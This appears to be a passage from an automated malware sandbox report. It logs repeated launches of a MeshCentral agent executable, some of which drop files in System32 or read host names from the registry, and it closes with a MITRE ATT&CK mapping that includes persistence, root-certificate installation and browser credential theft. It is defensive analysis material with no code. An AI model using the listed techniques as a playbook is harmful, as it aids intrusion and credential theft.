"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:4344

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:3956

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:4064

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:12308

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:7932

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:5184

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:7200

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:7948

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:15072

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:9300

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:4248

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:8868

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:9312

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:15040

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:10820

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:10524

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:3580

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:6964

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:10884

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:400

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:12176

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:12268

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:12220

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:3328

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:6508

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:13904

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:14016

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:14084

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:14140

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:14192

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:14268

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:14312

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:13424

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:1744

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:15380

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:15532

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:15620

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:15688

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:15920

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:15976

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:16032

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
PID:16120

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:16308

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:16972

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:17084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:17216

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
1⤵
PID:17332

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:17380

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:16928

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:17512

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:18564

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:18720

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:18792

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:18904

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:19012

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:19636

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:20248

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:20392

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:20436

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:15564

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:20348

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:21640

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:21808

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:22008

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:22064

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:22204

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:22260

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:22212

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:23184

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:23364

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:23412

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:23512

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:15268

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:23312

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:23380

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:23440

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
PID:23528

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:24756

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:24848

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:24908

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:24976

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:25376

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:24836

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:26468

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:26576

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:22128

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:25508

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:26596

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:27808

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:28064

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:28164

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:28256

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:28348

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:28412

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:28512

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:6744

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:4032

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:28064

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
PID:28168

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:27876

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:28348

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:8352

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:8700

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:25040

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:4064

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:8700

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:2480

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:9712

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:8760

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:872

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:8996

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:10808

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:28160

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:10476

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:872

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:9952

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:28836

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:28988

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:29068

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:13060

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:13536

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:13752

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
PID:29148

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:29084

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:29324

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:30056

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:30440

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:30584

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:30636

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
PID:30332

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:30056

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
PID:14392

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:13956

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:30344

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:13632

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Network Share Discovery

T1135

Query Registry

T1012

System Information Discovery